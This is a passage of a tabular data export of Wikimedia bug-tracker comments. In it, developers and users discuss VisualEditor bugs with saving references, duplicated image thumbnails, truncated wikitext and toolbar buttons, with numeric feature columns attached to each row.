Argh, yes, that's bug 49818 which I thought we had fixed; is this problem still happnening for you? :-(",,,1373417844,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,10.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,3.0,3.0,0.0,8.0,10.0,6.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4126984126984126,0.7142857142857143,"(In reply to comment #4)
QUOTE
QUOTE

It's possible that TemplateData would mean that it was difficult to edit, yes; sorry. :-(

QUOTE
QUOTE
QUOTE

Argh, yes, that's bug 49818 which I thought we had fixed; is this problem still happnening for you? :-("
248348,VisualEditor: VE won't let user save after editing a reference,"(Sorry, that was meant to be ""with Vector on Chrome"", it's ok on FF).",,,1373308926,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,18.0,14.0,0.0,9.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5454545454545454,0.8636363636363636,"(Sorry, that was meant to be ""with Vector on Chrome"", it's ok on FF)."
248343,VisualEditor: VE won't let user save after editing a reference,"You are right, it works now. Can this be due to people adding TemplateData to that template? Since we're here, I attached the screenshot of what happens when you try and edit it with Vector. You need to reach and click the light blue bar in order to change something in that line. It works, though.",,,1373308703,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0.0,2.0,0.0,0.0,0.0,6.0,3.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,2.0,3.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,14.0,3.0,2.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7384615384615385,0.7692307692307693,"You are right, it works now. Can this be due to people adding TemplateData to that template? Since we're here, I attached the screenshot of what happens when you try and edit it with Vector. You need to reach and click the light blue bar in order to change something in that line. It works, though."
248337,VisualEditor: VE won't let user save after editing a reference,"Created attachment 12788
Reference editing window

**Attached**: {F11670}",,,1373308463,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8235294117647058,"Created attachment 12788
Reference editing window

**Attached**: {F11670}"
248331,VisualEditor: VE won't let user save after editing a reference,"[Sorry, can't check before tomorrow. Thanks.]",,,1373229247,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.3333333333333335,0.9166666666666666,"[Sorry, can't check before tomorrow. Thanks.]"
248324,VisualEditor: VE won't let user save after editing a reference,"[Sorry for being so late in replying to this bug!]

Can this still be reproduced? If so, in what browser? I can edit the reference fine in Firefox and Chrome.

(When you edit a reference, VisualEditor goes off and asks for the reference list to be re-created; temporarily, while that is happening, the original form remains shown in the reference list. However, this behaviour should be very quick, and should not prevent the user from editing.)",,,1373162537,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,1.0,2.0,1.0,2.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,3.0,3.0,10.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,2.0,13.0,3.0,2.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,1.0,3.8350515463917527,0.6804123711340206,"[Sorry for being so late in replying to this bug!]

Can this still be reproduced? If so, in what browser? I can edit the reference fine in Firefox and Chrome.

(When you edit a reference, VisualEditor goes off and asks for the reference list to be re-created; temporarily, while that is happening, the original form remains shown in the reference list. However, this behaviour should be very quick, and should not prevent the user from editing.)"
52158,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Screenshot

Image dialog shows thumbnails twice, see screenshots.

Maybe 1 from local wiki and 1 from Commons, which are most of the times identical?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11660}",High,80.0,1372146180,1373763691.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.8448275862068964,0.6551724137931034,"Screenshot

Image dialog shows thumbnails twice, see screenshots.

Maybe 1 from local wiki and 1 from Commons, which are most of the times identical?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11660}"
248184,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),This was fixed and deployed on Thursday.,,,1373763691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,This was fixed and deployed on Thursday.
248183,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Change 73190 merged by jenkins-bot:
Normalize image titles in cache to prevent duplicates.

https://gerrit.wikimedia.org/r/73190",,,1373578658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.55,1.0,"Change 73190 merged by jenkins-bot:
Normalize image titles in cache to prevent duplicates.

GERRIT_URL"
248181,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Change 73190 had a related patch set uploaded by Robmoen:
Normalize image titles in cache to prevent duplicates.

https://gerrit.wikimedia.org/r/73190",,,1373562735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 73190 had a related patch set uploaded by Robmoen:
Normalize image titles in cache to prevent duplicates.

GERRIT_URL"
248178,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),^^ You are correct.  this is happening because we are getting results from both namespaces.  File and Fichier in this case.,,,1373499189,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9615384615384617,0.8076923076923077,^^ You are correct.  this is happening because we are getting results from both namespaces.  File and Fichier in this case.
248174,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"(In reply to comment #2)
> I can't reproduce this in Forefix 21.

Oh, sorry, I see you were on frwiki. This doesn't happen on enwiki or mediawikiwiki, but I can reproduce it on frwiki and dewiki.

Perhaps VE doesn't know about localised names for the ""File"" namespace. That's just a guess.",,,1372153753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,5.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,5.0,6.0,0.0,0.0,0.0,2.0,6.0,3.0,2.0,0.0,6.0,11.0,5.0,0.0,3.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3968253968253967,0.7936507936507936,"(In reply to comment #2)
QUOTE

Oh, sorry, I see you were on frwiki. This doesn't happen on enwiki or mediawikiwiki, but I can reproduce it on frwiki and dewiki.

Perhaps VE doesn't know about localised names for the ""File"" namespace. That's just a guess."
248167,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),I can't reproduce this in Forefix 21.,,,1372153025,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,I can't reproduce this in Forefix 21.
248160,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Created attachment 12632
Screenshot

**Attached**: {F11661}",,,1372146249,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.8,"Created attachment 12632
Screenshot

**Attached**: {F11661}"
52149,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**Author:** `brassratgirl`

**Description:**
See this diff: 
https://en.wikipedia.org/w/index.php?title=Uganda&diff=561452947&oldid=560332103

adding a sentence to the lede section saved properly, but also had unwanted behavior of cutting off the first letter of the first word of a random paragraph in a later section (removed 'l' from ""Lake Kyoga"" under 'geography'). 

Firefox 21.0 on Ubuntu 12.04.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372128420,1373056082.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z4n2utsm2obyfevr5eud,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,10.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.606382978723404,0.6276595744680851,"**Author:** CODE

**Description:**
See this diff: 
URL

adding a sentence to the lede section saved properly, but also had unwanted behavior of cutting off the first letter of the first word of a random paragraph in a later section (removed 'l' from ""Lake Kyoga"" under 'geography'). 

Firefox 21.0 on Ubuntu 12.04.

--------------------------
**Version**: unspecified
**Severity**: normal"
247670,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,I believe we have now fixed this; please re-open if it recurs.,,,1373056082,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,1.0,I believe we have now fixed this; please re-open if it recurs.
247664,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,Can't reproduce in master yet.,,,1372175257,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Can't reproduce in master yet.
247659,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**brassratgirl** wrote:

Tried editing another, later section in the same article and got this: 
https://en.wikipedia.org/w/index.php?title=Uganda&diff=561456536&oldid=561456189

the changes I intended to make were made (added a link, copyediting) but spaces around template dates were added (more normalization) and the same initial letter (the 'l' of lake) and bracket from the same image file were removed. VisEd *really* doesn't like something about that paragraph!",,,1372130068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,False,,,-1,,0.0,1.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,2.0,7.0,1.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,5.0,0.0,5.0,10.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.872093023255814,0.7209302325581395,"**brassratgirl** wrote:

Tried editing another, later section in the same article and got this: 
URL

the changes I intended to make were made (added a link, copyediting) but spaces around template dates were added (more normalization) and the same initial letter (the 'l' of lake) and bracket from the same image file were removed. VisEd *really* doesn't like something about that paragraph!"
247654,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"(In reply to comment #1)
> Also added some quotes to refnames

That's ""just"" normalisation, which we can fix (by making sure that what we send Parsoid is exactly the same, so it leaves it alone); see bug 50071.

> and removed a bracket from an image link later on.

Yeah, this is very not good, and really hard to understand how it happens. Roan, thoughts?",,,1372129295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,1.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,10.0,3.0,3.0,6.0,0.0,0.0,0.0,1.0,6.0,1.0,3.0,0.0,7.0,7.0,1.0,1.0,3.0,0.0,7.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.2816901408450705,0.7746478873239436,"(In reply to comment #1)
QUOTE

That's ""just"" normalisation, which we can fix (by making sure that what we send Parsoid is exactly the same, so it leaves it alone); see bug 50071.

QUOTE

Yeah, this is very not good, and really hard to understand how it happens. Roan, thoughts?"
247649,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**brassratgirl** wrote:

Also added some quotes to refnames and removed a bracket from an image link later on.",,,1372128699,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.76,0.88,"**brassratgirl** wrote:

Also added some quotes to refnames and removed a bracket from an image link later on."
52141,VisualEditor: Indentation toolbar buttons should not be enabled by default,"They're currently enabled on page load. Even when dismissing the notice and clicking around in the first paragraph it stays.

It finally disables itself after a node change (e.g. click the second paragraph and then back).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44083",High,80.0,1372115880,1372381096.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.887323943661972,0.676056338028169,"They're currently enabled on page load. Even when dismissing the notice and clicking around in the first paragraph it stays.

It finally disables itself after a node change (e.g. click the second paragraph and then back).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
247329,VisualEditor: Indentation toolbar buttons should not be enabled by default,This has been fixed and will be deployed very soon.,,,1372381096,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,This has been fixed and will be deployed very soon.
247326,VisualEditor: Indentation toolbar buttons should not be enabled by default,"Change 70936 merged by jenkins-bot:
Init surface after toolbar is setup vs. before.

https://gerrit.wikimedia.org/r/70936",,,1372375419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Change 70936 merged by jenkins-bot:
